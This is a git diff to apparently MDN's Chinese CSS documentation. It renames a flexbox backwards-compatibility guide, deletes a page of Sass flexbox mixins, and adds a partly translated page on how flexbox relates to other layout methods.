diff --git a/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html new file mode 100644 index 0000000000..df269a9211 --- /dev/null +++ b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -0,0 +1,121 @@ +--- +title: Flexbox的向下支持 +slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 +tags: + - '@supports' + - IE + - Safari + - flexbox + - 兼容 + - 弹性盒子 + - 旧版本 + - 浏览器 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +--- +

{{CSSRef}}

+ +

虽然弹性盒子被各种现代浏览器很好的支持, 但是你或许还会遇到一些问题。在这个文档中,我们将会了解到浏览器支持弹性盒子的情况和一些潜在的问题, 以及处理它们的资源和方法。

+ +

弹性盒子的历史

+ +

与所有CSS标准一样,弹性盒子标准经历了一系列的改动,直到它成为我们现有的候选推荐版本。作为候选推荐,我们不该着重于当下对于该规范的大量变动,尽管历来弹性盒子的迭代情况有所不同。

+ +

弹性盒子曾在许多浏览器中作为实验功能的方式被实现。当时进行实验性的实现的方式是使用浏览器前缀。这种关于前缀的构思是为了让规范的实现能被测试,并被浏览器工程师和网页开发者等在不和其他实现冲突的情况下浏览。也就是说不再生产代码中使用实验性的实现。然后,前缀最终被用在了生产代码中,结果对实验性规范的不管修改导致了人们需要不断对网站进行对应的修改。

+ +

在2009年时,规则看起来很不一样。当时,要创建一个弹性容器你会用display: box ,会有一大堆 box-* 属性,和现在的弹性盒子显然完全不同。

+ +

曾有一个规范的更新将语法换成了 display: flexbox ——这仍旧是浏览器前缀。

+ +

最后规范被修改成,定义 display: flex 作为创建弹性容器的方式。对于最新版本规范的浏览器支持自此就尽善尽美了。

+ +

有很多老的关于弹性盒子规范旧版本的文章还存着,但他们都容易通过弹性盒子容器创建的方式来辨别。如果你在其中找到任何关于display: box或者display: flexbox的内容,那么它们就是过时的信息。

+ +

浏览器支持情况

+ +

现代浏览器能够很好的支持flexbox,并且大多数浏览器不需要前缀。2015年,Safari9是最后一个移除前缀的主流浏览器。2个需要注意浏览器兼容的浏览器是:

+ +
    +
  • Internet Explorer 10: 使用 -ms- 前缀;
  • +
  • UC浏览器: 使用 -webkit- 前缀。
  • +
+ +

现在,IE11 已经支持display: flex,但是在使用的时候会有一些bug。

+ +

常见问题

+ +

由于经过了发展,flexbox的大多数问题与规范的变更有关,而且事实上我们很多人都试图在生产中环境中使用实验性的规范。 如果您要确保与旧版本的浏览器(尤其是IE10和11)向后兼容,则 Flexbugs 网站是一个有用的资源。 您将看到许多列出的bug都适用于旧的浏览器版本,并且在当前的浏览器中已修复。 每个错误都有列出的解决方法-可以节省许多时间。

+ +

如果你想要支持非常旧的浏览器使用flexbox属性,在CSS中加入:

+ +
.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+ +

Autoprefixer Online是查看推荐使用前缀浏览器的有效方式,具体取决于您希望通过浏览器支持返回多少版本。 您还可以从 Can I Use 中以获取浏览器支持的信息,以便在已经支持的浏览器中删除前缀

+ +

有用的向下支持技术

+ +

假设弹性盒子使用 {{cssxref("display")}} 的属性值定义,当我们需要为不支持弹性盒子的旧版本的浏览器提供支持时,向下支持(fallback)技术可以用来覆写布局方式。如果你使用其他布局方法作用于一个元素,随后该元素又成为了弹性盒子的 item,规范定义了会发生什么。

+ +

浮动元素

+ +
+

“浮动和清除浮动不会在 flex item 上触发浮动和清除行为,并且不会脱离当前文档流。” - 3. Flex Containers

+
+ +

在下面的示例中,我将两个块级元素浮动,然后给容器设置了 display: flex。这两个元素现在变成了弹性盒子元素,意味着它们会伸展使得高度相同,并且没有应用任何浮动行为。

+ +

你可以通过移除 display: flex 属性来测试这项向下支持行为。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

+ +

display: inline-block

+ +

一旦一个 inline-block 元素成为了一个弹性盒子元素,那么它将被块级化,因此 display: inline-block 属性的诸如在元素间保留空白符等行为将不会被应用。

+ +

移除 display: flex 属性来查看该向下支持行为,你将会看见这两个元素之间多出的空白符,这是因为使用 display: inine-block 时会把空白符当成其他行内元素对待。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

+ +

display: table-

+ +

CSS 中表格相关的系列属性可能是非常有用的向下支持技术,因为它们允许一些设计模式,例如全高度列和垂直居中等,甚至可以向后兼容至 IE8。

+ +

假如你在 HTML 中对一个元素使用 display: table-cell,它将呈现为表格单元格样式。CSS 会创建一个匿名盒子来呈现这些元素,这样你就不用包裹每一个元素来呈现表格的行(row),以及另外一个元素来呈现这个表格自身。你无法看见或修改这些匿名盒子的样式,它们只是单纯的用来修补文档树。

+ +

如果你在父元素上设置了 display: flex,这些匿名盒子将不会被创建,这样你的元素就保留直接的子元素并成为了一个弹性盒子元素 — 失去所有表格元素的特性。

+ +
+

“注意:display 的某些属性值通常会在初始盒子周围触发匿名盒子的创建行为。如果该盒子是一个弹性盒子元素,那么它会先被块级化,使得匿名盒子不会被创建。例如,两个连续的弹性盒子元素设置了 display: table-cell 后,将会成为两个独立分开的 display: block 弹性盒子元素,而不是被包裹近单独的一个匿名表格中。” - 4. Flex Items

+
+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

+ +

vertical-align 属性

+ +

下面的示例展示了 {{cssxref("vertical-align")}} 属性与 display: inline-block 结合使用的情况。display: table-cell 和 display: inline-block 都允许使用该属性。使用 vertical-align 可以使垂直排列优先于弹性盒子。这个属性会被弹性盒子忽略,这样你就可以将它与 display: table-cell 或者 display: inline-block 结合使用来作为一个向下支持技巧,然后就可以在弹性盒子中安全地使用盒子排列属性。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

+ +

特性枚举与弹性盒子

+ +

你可以使用特性枚举(feature queries)来检查弹性盒子的支持情况:

+ +
@supports (display: flex) {
+  // 添加在支持的浏览器中书写的样式代码
+}
+ +

注意 Internet Explorer 11 不支持特性枚举,但是支持弹性盒子。如果你觉得在 IE11 中实现不易并且希望对它使用向下支持布局,那么你可以使用特性枚举只在对弹性盒子支持良好的浏览器中使用弹性盒子属性规则。需要记住的是,如果你想用浏览器厂商前缀的弹性盒子属性来包含某版本的浏览器,你需要在特性枚举中包含该版本浏览器的前缀。下面的特性枚举例子就兼容了 UC 浏览器,它支持特性枚举并且支持旧版弹性盒子语法:

+ +
@supports (display: flex) or (display: -webkit-box) {
+  // code for supporting browsers
+}
+ +

查看更多关于特性枚举的信息请访问:Using Feature Queries in CSS

+ +

结尾

+ +

当我在这个指南中花时间来检查潜在的问题和向下支持技巧时,弹性盒子已经做好了在生产环境中运作的充分准备。该指南可能会在你遇到问题或者需要支持旧版本浏览器时帮到你。

diff --git "a/files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" "b/files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" deleted file mode 100644 index df269a9211..0000000000 --- "a/files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Flexbox的向下支持 -slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 -tags: - - '@supports' - - IE - - Safari - - flexbox - - 兼容 - - 弹性盒子 - - 旧版本 - - 浏览器 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox ---- -

{{CSSRef}}

- -

虽然弹性盒子被各种现代浏览器很好的支持, 但是你或许还会遇到一些问题。在这个文档中,我们将会了解到浏览器支持弹性盒子的情况和一些潜在的问题, 以及处理它们的资源和方法。

- -

弹性盒子的历史

- -

与所有CSS标准一样,弹性盒子标准经历了一系列的改动,直到它成为我们现有的候选推荐版本。作为候选推荐,我们不该着重于当下对于该规范的大量变动,尽管历来弹性盒子的迭代情况有所不同。

- -

弹性盒子曾在许多浏览器中作为实验功能的方式被实现。当时进行实验性的实现的方式是使用浏览器前缀。这种关于前缀的构思是为了让规范的实现能被测试,并被浏览器工程师和网页开发者等在不和其他实现冲突的情况下浏览。也就是说不再生产代码中使用实验性的实现。然后,前缀最终被用在了生产代码中,结果对实验性规范的不管修改导致了人们需要不断对网站进行对应的修改。

- -

在2009年时,规则看起来很不一样。当时,要创建一个弹性容器你会用display: box ,会有一大堆 box-* 属性,和现在的弹性盒子显然完全不同。

- -

曾有一个规范的更新将语法换成了 display: flexbox ——这仍旧是浏览器前缀。

- -

最后规范被修改成,定义 display: flex 作为创建弹性容器的方式。对于最新版本规范的浏览器支持自此就尽善尽美了。

- -

有很多老的关于弹性盒子规范旧版本的文章还存着,但他们都容易通过弹性盒子容器创建的方式来辨别。如果你在其中找到任何关于display: box或者display: flexbox的内容,那么它们就是过时的信息。

- -

浏览器支持情况

- -

现代浏览器能够很好的支持flexbox,并且大多数浏览器不需要前缀。2015年,Safari9是最后一个移除前缀的主流浏览器。2个需要注意浏览器兼容的浏览器是:

- -
    -
  • Internet Explorer 10: 使用 -ms- 前缀;
  • -
  • UC浏览器: 使用 -webkit- 前缀。
  • -
- -

现在,IE11 已经支持display: flex,但是在使用的时候会有一些bug。

- -

常见问题

- -

由于经过了发展,flexbox的大多数问题与规范的变更有关,而且事实上我们很多人都试图在生产中环境中使用实验性的规范。 如果您要确保与旧版本的浏览器(尤其是IE10和11)向后兼容,则 Flexbugs 网站是一个有用的资源。 您将看到许多列出的bug都适用于旧的浏览器版本,并且在当前的浏览器中已修复。 每个错误都有列出的解决方法-可以节省许多时间。

- -

如果你想要支持非常旧的浏览器使用flexbox属性,在CSS中加入:

- -
.wrapper {
-  display: -webkit-box;
-  display: -webkit-flex;
-  display: -ms-flexbox;
-  display: flex;
-}
- -

Autoprefixer Online是查看推荐使用前缀浏览器的有效方式,具体取决于您希望通过浏览器支持返回多少版本。 您还可以从 Can I Use 中以获取浏览器支持的信息,以便在已经支持的浏览器中删除前缀

- -

有用的向下支持技术

- -

假设弹性盒子使用 {{cssxref("display")}} 的属性值定义,当我们需要为不支持弹性盒子的旧版本的浏览器提供支持时,向下支持(fallback)技术可以用来覆写布局方式。如果你使用其他布局方法作用于一个元素,随后该元素又成为了弹性盒子的 item,规范定义了会发生什么。

- -

浮动元素

- -
-

“浮动和清除浮动不会在 flex item 上触发浮动和清除行为,并且不会脱离当前文档流。” - 3. Flex Containers

-
- -

在下面的示例中,我将两个块级元素浮动,然后给容器设置了 display: flex。这两个元素现在变成了弹性盒子元素,意味着它们会伸展使得高度相同,并且没有应用任何浮动行为。

- -

你可以通过移除 display: flex 属性来测试这项向下支持行为。

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

- -

display: inline-block

- -

一旦一个 inline-block 元素成为了一个弹性盒子元素,那么它将被块级化,因此 display: inline-block 属性的诸如在元素间保留空白符等行为将不会被应用。

- -

移除 display: flex 属性来查看该向下支持行为,你将会看见这两个元素之间多出的空白符,这是因为使用 display: inine-block 时会把空白符当成其他行内元素对待。

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

- -

display: table-

- -

CSS 中表格相关的系列属性可能是非常有用的向下支持技术,因为它们允许一些设计模式,例如全高度列和垂直居中等,甚至可以向后兼容至 IE8。

- -

假如你在 HTML 中对一个元素使用 display: table-cell,它将呈现为表格单元格样式。CSS 会创建一个匿名盒子来呈现这些元素,这样你就不用包裹每一个元素来呈现表格的行(row),以及另外一个元素来呈现这个表格自身。你无法看见或修改这些匿名盒子的样式,它们只是单纯的用来修补文档树。

- -

如果你在父元素上设置了 display: flex,这些匿名盒子将不会被创建,这样你的元素就保留直接的子元素并成为了一个弹性盒子元素 — 失去所有表格元素的特性。

- -
-

“注意:display 的某些属性值通常会在初始盒子周围触发匿名盒子的创建行为。如果该盒子是一个弹性盒子元素,那么它会先被块级化,使得匿名盒子不会被创建。例如,两个连续的弹性盒子元素设置了 display: table-cell 后,将会成为两个独立分开的 display: block 弹性盒子元素,而不是被包裹近单独的一个匿名表格中。” - 4. Flex Items

-
- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

- -

vertical-align 属性

- -

下面的示例展示了 {{cssxref("vertical-align")}} 属性与 display: inline-block 结合使用的情况。display: table-cell 和 display: inline-block 都允许使用该属性。使用 vertical-align 可以使垂直排列优先于弹性盒子。这个属性会被弹性盒子忽略,这样你就可以将它与 display: table-cell 或者 display: inline-block 结合使用来作为一个向下支持技巧,然后就可以在弹性盒子中安全地使用盒子排列属性。

- -

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

- -

特性枚举与弹性盒子

- -

你可以使用特性枚举(feature queries)来检查弹性盒子的支持情况:

- -
@supports (display: flex) {
-  // 添加在支持的浏览器中书写的样式代码
-}
- -

注意 Internet Explorer 11 不支持特性枚举,但是支持弹性盒子。如果你觉得在 IE11 中实现不易并且希望对它使用向下支持布局,那么你可以使用特性枚举只在对弹性盒子支持良好的浏览器中使用弹性盒子属性规则。需要记住的是,如果你想用浏览器厂商前缀的弹性盒子属性来包含某版本的浏览器,你需要在特性枚举中包含该版本浏览器的前缀。下面的特性枚举例子就兼容了 UC 浏览器,它支持特性枚举并且支持旧版弹性盒子语法:

- -
@supports (display: flex) or (display: -webkit-box) {
-  // code for supporting browsers
-}
- -

查看更多关于特性枚举的信息请访问:Using Feature Queries in CSS

- -

结尾

- -

当我在这个指南中花时间来检查潜在的问题和向下支持技巧时,弹性盒子已经做好了在生产环境中运作的充分准备。该指南可能会在你遇到问题或者需要支持旧版本浏览器时帮到你。

diff --git a/files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html b/files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html deleted file mode 100644 index d2054bc725..0000000000 --- a/files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html +++ /dev/null @@ -1,408 +0,0 @@ ---- -title: 使用弹性盒子进行高级布局 -slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins -tags: - - CSS3布局模型 - - Flexible_Box - - Flexible_Box_Layout - - Layout - - 弹性盒子 - - 弹性盒子模型 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins ---- -

使用弹性盒子的意义是在任何尺寸的屏幕上改变其和其子元素的尺寸填充屏幕可用空间。一个弹性框容器将延展它的子元素以填充可用空间,并且缩小它的子元素来避免溢出。

- -

浮动布局的问题

- -
    -
  • 难以控制。如果站点上存在一些不可预知的内容,那么布局将变的难以维护。
  • -
  • 源码顺序依赖。弹性布局依赖于HTML源码,在做响应式设计时将难以为不同的媒体查询变更布局。
  • -
  • 列等高问题。如果容器中有两到三列不同的内容,并且在任意内容的条件下,都需要设置为相同的高度。浮动布局难以实现这个要求。
  • -
  • 内容居中。使用浮动布局难以将内容水平且垂直居中。
  • -
- -

弹性盒子如何处理

- -
    -
  • 通过将弹性元素拉伸或缩小来充满可用空间和避免溢出。这种方式解决了新内容的溢出问题并且以开发者期望的情况实施布局。
  • -
  • 给予弹性元素成比例的尺寸。
  • -
  • 弹性容器内的弹性元素可以从任意方向布局。可以解决在不同媒体查询中元素的顺序问题。使得可见内容的顺序独立于HTML渲染顺序,有利于站点的响应式设计。
  • -
- -

弹性盒子属性

- -

placeholder

- -
    -
  • 主轴(main axis),主轴区域(main dimension)。弹性容器的主轴指的是弹性元素主要沿着哪个方向布局。它在主轴区域中延伸。
  • -
  • 主轴起点(main-Start),主轴终点(main-end)。弹性元素被放置于容器中从主轴起点到主轴终点放置。
  • -
  • 主轴尺寸(main size),主轴尺寸属性(main size property)。一个弹性元素的主轴尺寸指的是其在主轴区域内的长度。其主轴尺寸属性指的是其对应的属性。
  • -
  • 侧轴(cross axis),侧轴区域(cross dimension)。侧轴垂直于主轴。它在侧轴区域中延伸。
  • -
  • 侧轴起点(cross-Start),侧轴终点(cross-end)。浮动行被元素填充,并且在容器中沿侧轴方向从起点向终点分布。
  • -
  • 侧轴尺寸(cross size),侧轴尺寸属性(cross size property)。一个弹性元素的侧轴尺寸指的是其在侧轴区域内的长度。其侧轴尺寸属性指的是其对应的属性
  • -
- -

弹性容器属性

- - - -

弹性元素属性

- - - -

弹性盒子混合

- -

对于希望在现代浏览器原生支持下使用弹性盒子的用户,这里有全部的支撑表格:http://caniuse.com/flexbox

- -

将会使用:

- -
    -
  • 后备、陈旧的语法(IE10,移动端WebKit内核浏览器-无包裹)
  • -
  • 最终标准的语法(FF、Safari、Chrome、IE11、Opera)
  • -
- -

启发于:

- - - -

可以从这些地方获取帮助:

- - - -

弹性容器

- -

“flex”值会引起一个元素生成一个盒级的弹性盒子。

- -

“inline-flex”会生成一个行内弹性盒子。

- -

display: flex | inline-flex http://w3.org/tr/css3-flexbox/#flex-containers

- -
-
@mixin flexbox {
-  display: -webkit-box;
-  display: -webkit-flex;
-  display: -moz-flex;
-  display: -ms-flexbox;
-  display: flex;
-}
-
-// 使用这样的混合模式
-%flexbox { @include flexbox; }
-
- -
-
@mixin inline-flex {
-  display: -webkit-inline-box;
-  display: -webkit-inline-flex;
-  display: -moz-inline-flex;
-  display: -ms-inline-flexbox;
-  display: inline-flex;
-}
-
-%inline-flex { @include inline-flex; }
-
- -

弹性盒子方向

- -

“flex-direction”属性通过设置容器主轴来定义弹性元素如何在容器内排列。这个属性确定了弹性元素排列的方向。

- -

值:row | row-reverse | column | column-reverse

- -

http://w3.org/tr/css3-flexbox/#flex-direction-property

- -
-
@mixin flex-direction($value: row) {
-  @if $value == row-reverse {
-    -webkit-box-direction: reverse;
-    -webkit-box-orient: horizontal;
-  } @else if $value == column {
-    -webkit-box-direction: normal;
-    -webkit-box-orient: vertical;
-  } @else if $value == column-reverse {
-    -webkit-box-direction: reverse;
-    -webkit-box-orient: vertical;
-  } @else {
-    -webkit-box-direction: normal;
-    -webkit-box-orient: horizontal;
-  }
-  -webkit-flex-direction: $value;
-  -moz-flex-direction: $value;
-  -ms-flex-direction: $value;
-  flex-direction: $value;
-}
-
-// 简短版本:
-@mixin flex-dir($args...) { @include flex-direction($args...); }
-
- -

弹性盒子换行

- -

“flex-wrap”属性控制了容器为单行还是多行。并且定义了侧轴的方向,新行将沿侧轴方向堆砌。

- -

值:nowrap | wrap | wrap-reverse

- -

默认:nowrap

- -

http://w3.org/tr/css3-flexbox/#flex-wrap-property

- -
-
@mixin flex-wrap($value: nowrap) {
-  // No Webkit Box fallback.
-  -webkit-flex-wrap: $value;
-  -moz-flex-wrap: $value;
-  @if $value == nowrap {
-    -ms-flex-wrap: none;
-  } @else {
-    -ms-flex-wrap: $value;
-  }
-  flex-wrap: $value;
-}
-
- -

弹性盒子流(简写)

- -

“flex-flow”属性是设置“flex-direction”和“flex-wrap”的简写,可以同时定义主轴和侧轴。

- -

默认值:row nowrap

- -

http://w3.org/tr/css3-flexbox/#flex-flow-property

- -
-
@mixin flex-flow($values: (row nowrap)) {
-  // No Webkit Box fallback.
-  -webkit-flex-flow: $values;
-  -moz-flex-flow: $values;
-  -ms-flex-flow: $values;
-  flex-flow: $values;
-}
-
- -

弹性盒子顺序

- -

“order”属性通过将这些元素分配到序数分组来控制它们出现的顺序。

- -

默认值:0

- -

http://w3.org/tr/css3-flexbox/#order-property

- -
-
@mixin order($int: 0) {
-  -webkit-box-ordinal-group: $int + 1;
-  -webkit-order: $int;
-  -moz-order: $int;
-  -ms-flex-order: $int;
-  order: $int;
-}
-
- -

弹性盒子增长

- -

“flex-grow”属性设置增长因数,不接受负值。

- -

默认值:0

- -

http://w3.org/tr/css3-flexbox/#flex-grow-property

- -
-
@mixin flex-grow($int: 0) {
-  -webkit-box-flex: $int;
-  -webkit-flex-grow: $int;
-  -moz-flex-grow: $int;
-  -ms-flex-positive: $int;
-  flex-grow: $int;
-}
-
- -

弹性盒子收缩

- -

“flex-shrink”属性设置了收缩因数,不接受负值。

- -

默认值:1

- -

http://w3.org/tr/css3-flexbox/#flex-shrink-property

- -
-
@mixin flex-shrink($int: 1) {
-  -webkit-flex-shrink: $int;
-  -moz-flex-shrink: $int;
-  -ms-flex-negative: $int;
-  flex-shrink: $int;
-}
-
- -

弹性盒子伸缩

- -

“flex-basis”属性设置了弹性框伸缩的基准值,不接受负值。

- -

值:类似“width”,默认值:auto

- -

http://www.w3.org/TR/css3-flexbox/#flex-basis-property

- -
-
@mixin flex-basis($value: auto) {
-  -webkit-flex-basis: $value;
-  -moz-flex-basis: $value;
-  -ms-flex-preferred-size: $value;
-  flex-basis: $value;
-}
-
- -

弹性盒子“Flex”属性(简写)

- -

flex”属性设置了弹性盒子长度的组成,包括增长因数、收缩因数和伸缩基准值。对于一个弹性元素,“flex”属性会被用来设置元素的尺寸,对于一个非弹性元素,该属性无效。

- -

值:none | ||

- -

默认值:见独立属性(1 1 0)

- -

http://w3.org/tr/css3-flexbox/#flex-property

- -
-
@mixin flex($fg: 1, $fs: null, $fb: null) {
-
-  // Set a variable to be used by box-flex properties
-  $fg-boxflex: $fg;
-
-  // Box-Flex only supports a flex-grow value so lets grab the
-  // first item in the list and just return that.
-  @if type-of($fg) == 'list' {
-    $fg-boxflex: nth($fg, 1);
-  }
-
-  -webkit-box-flex: $fg-boxflex;
-  -webkit-flex: $fg $fs $fb;
-  -moz-box-flex: $fg-boxflex;
-  -moz-flex: $fg $fs $fb;
-  -ms-flex: $fg $fs $fb;
-  flex: $fg $fs $fb;
-}
-
- -

弹性盒子对齐方式

- -

“justify-content”属性将弹性元素沿容器主轴方向对齐。当所有弹性元素的长度和边距都设置好之后,布局完成。一般情况下,当行内所有弹性元素尺寸不可变或可变且达到最大尺寸的情况下,该属性会分配剩余可用空间。同时,当元素溢出行的时候,它也会对其排列做出控制。

- -

提示:以前版本的语法不支持“space-*”值。

- -

值:flex-start | flex-end | center | space-between | space-around 默认值:flex-start

- -

http://w3.org/tr/css3-flexbox/#justify-content-property

- -
-
@mixin justify-content($value: flex-start) {
-  @if $value == flex-start {
-    -webkit-box-pack: start;
-    -ms-flex-pack: start;
-  } @else if $value == flex-end {
-    -webkit-box-pack: end;
-    -ms-flex-pack: end;
-  } @else if $value == space-between {
-    -webkit-box-pack: justify;
-    -ms-flex-pack: justify;
-  } @else if $value == space-around {
-    -ms-flex-pack: distribute;
-  } @else {
-    -webkit-box-pack: $value;
-    -ms-flex-pack: $value;
-  }
-  -webkit-justify-content: $value;
-  -moz-justify-content: $value;
-  justify-content: $value;
-}
-  // Shorter version:
-  @mixin flex-just($args...) { @include justify-content($args...); }
-
- -

弹性元素对齐

- -

可以设置弹性元素在容器侧轴上的对齐方式,与“justify-content”功能相似但是方向垂直。“align-items”设置弹性盒子的所有子元素的对齐方式,包括匿名弹性元素。元素可以通过单独设置“align-self”来覆盖该属性。(对于匿名弹性元素,“align-self'”属性总是与“align-items”相同。)

- -

值:flex-start | flex-end | center | baseline | stretch 默认值:stretch

- -

http://w3.org/tr/css3-flexbox/#align-items-property

- -
-
@mixin align-items($value: stretch) {
-  @if $value == flex-start {
-    -webkit-box-align: start;
-    -ms-flex-align: start;
-  } @else if $value == flex-end {
-    -webkit-box-align: end;
-    -ms-flex-align: end;
-  } @else {
-    -webkit-box-align: $value;
-    -ms-flex-align: $value;
-  }
-  -webkit-align-items: $value;
-  -moz-align-items: $value;
-  align-items: $value;
-}
-
- -

弹性元素自对齐

- -

用来单独设置弹性元素在侧轴的对齐方式,功能与“align-items”相同。可以覆盖“align-items”属性。

- -

值:auto | flex-start | flex-end | center | baseline | stretch 默认值:auto

- -
-
@mixin align-self($value: auto) {
-  // No Webkit Box Fallback.
-  -webkit-align-self: $value;
-  -moz-align-self: $value;
-  @if $value == flex-start {
-    -ms-flex-item-align: start;
-  } @else if $value == flex-end {
-    -ms-flex-item-align: end;
-  } @else {
-    -ms-flex-item-align: $value;
-  }
-  align-self: $value;
-}
-
- -

弹性元素内容对齐

- -

“align-content”属性设置了容器内每行沿侧轴的对齐方式。与“justify-content”属性在主轴方向对齐单独元素的方式相似。如果容器内只有一行,该属性无效。

- -

值:flex-start | flex-end | center | space-between | space-around | stretch 默认值:stretch

- -

http://w3.org/tr/css3-flexbox/#align-content-property

- -
-
@mixin align-content($value: stretch) {
-  // No Webkit Box Fallback.
-  -webkit-align-content: $value;
-  -moz-align-content: $value;
-  @if $value == flex-start {
-    -ms-flex-line-pack: start;
-  } @else if $value == flex-end {
-    -ms-flex-line-pack: end;
-  } @else {
-    -ms-flex-line-pack: $value;
-  }
-  align-content: $value;
-}
-
diff --git a/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html new file mode 100644 index 0000000000..c90b3416a5 --- /dev/null +++ b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html @@ -0,0 +1,123 @@ +--- +title: 弹性盒子与其他布局方法的联系 +slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 +tags: + - CSS + - box alignment + - flexbox +translation_of: >- + Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +--- +
{{CSSRef}}
+ +

在本文中,我们将了解弹性盒子(Flexbox)如何与所有其他CSS模块相适应。如果您想学习flexbox,我们将一起找出需要注意的规范和flexbox与一些其他模块不同的原因。

+ +
+

注意:CSS 1和CSS 2是一个单一的整体规范,其中所有CSS都定义在一个文档中。随着CSS成为一种功能更加丰富的语言,各个部分有不同的发展速度,如何维护一个庞大的规范就成了问题。因此现在的CSS是模块化的,不同的CSS模块有不同的规范,一起构成了现在的CSS。这些模块之间相互关联,并且处于不同的开发阶段。

+
+ +

box alignment 模块

+ +

许多人开始关注flexbox的最初原因是在flex容器中能够很好的对齐其中的元素。flexbox可以设置在其交叉轴以及主轴上的对齐属性。

+ +

这些属性最开始出现在flexbox规范中,现在已经成为Box Alignment规范的一部分。 这个规范详细说明了在所有布局中(不仅仅是flexbox)对齐属性是如何起作用的。 对齐属性用于设置元素对齐方式和沿轴的空间分配。

+ +

之所以在flexbox规范和box alignment模块规范中都有对对齐属性的详细描述,是为了确保flexbox规范的完成不会受box alignment模块规范的影响,因为后者需要详细说明所有的布局类型中的对齐方法。flexbox规范中有一条注释指出将来一旦Box Alignment Level 3完成,它将会取代flexbox规范中的相关定义:

+ +
+

“注意:虽然对齐属性是在CSS Box Alignment [CSS-ALIGN-3]中定义的,但“ Flexible Box Layout”在此处重现了相关属性的定义,以免形成规范性的依赖关系,而这可能会减慢规范的发展。这些属性仅适用于Flex布局,直到CSS Box Alignment Level 3完成并定义其对其他布局模式的效果;此外,在Box Alignment模块中定义的任何新值都将应用于Flexible Box Layout;换句话说,一旦Box Alignment模块完成,其中的相关定义将取代此处的定义。”

+
+ +

在本系列的后续文章(在flex容器中对齐元素)中,我们将彻底研究Box Alignment属性如何应用于flex元素。

+ +

gap属性

+ +

属性{{cssxref("row-gap")}} 和 {{cssxref("column-gap")}},其简写为{{cssxref("gap")}},近期添加到了盒子布局规范中。这些属性(名称为grid-row-gap, grid-column-gap and grid-gap)最初定义在CSS网格布局中。但是他们被重命名并移入盒子布局规范。这样的话,所有的布局方法都可以使用这些属性。不过在浏览器实现Flex的这些属性之前只能通过{{cssxref("margin")}} 来控制元素之间的间隙距离。

+ +

Writing Modes

+ +

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

+ +

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

+ +

The writing modes

+ +

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

+ +
    +
  • horizontal-tb
  • +
  • vertical-rl
  • +
  • vertical-lr
  • +
  • sideways-rl
  • +
  • sideways-lr
  • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

+ +

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

+ +

Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by adding a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

+ +

Flexbox and other layout methods

+ +

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

+ +

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

+ +

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

+ +

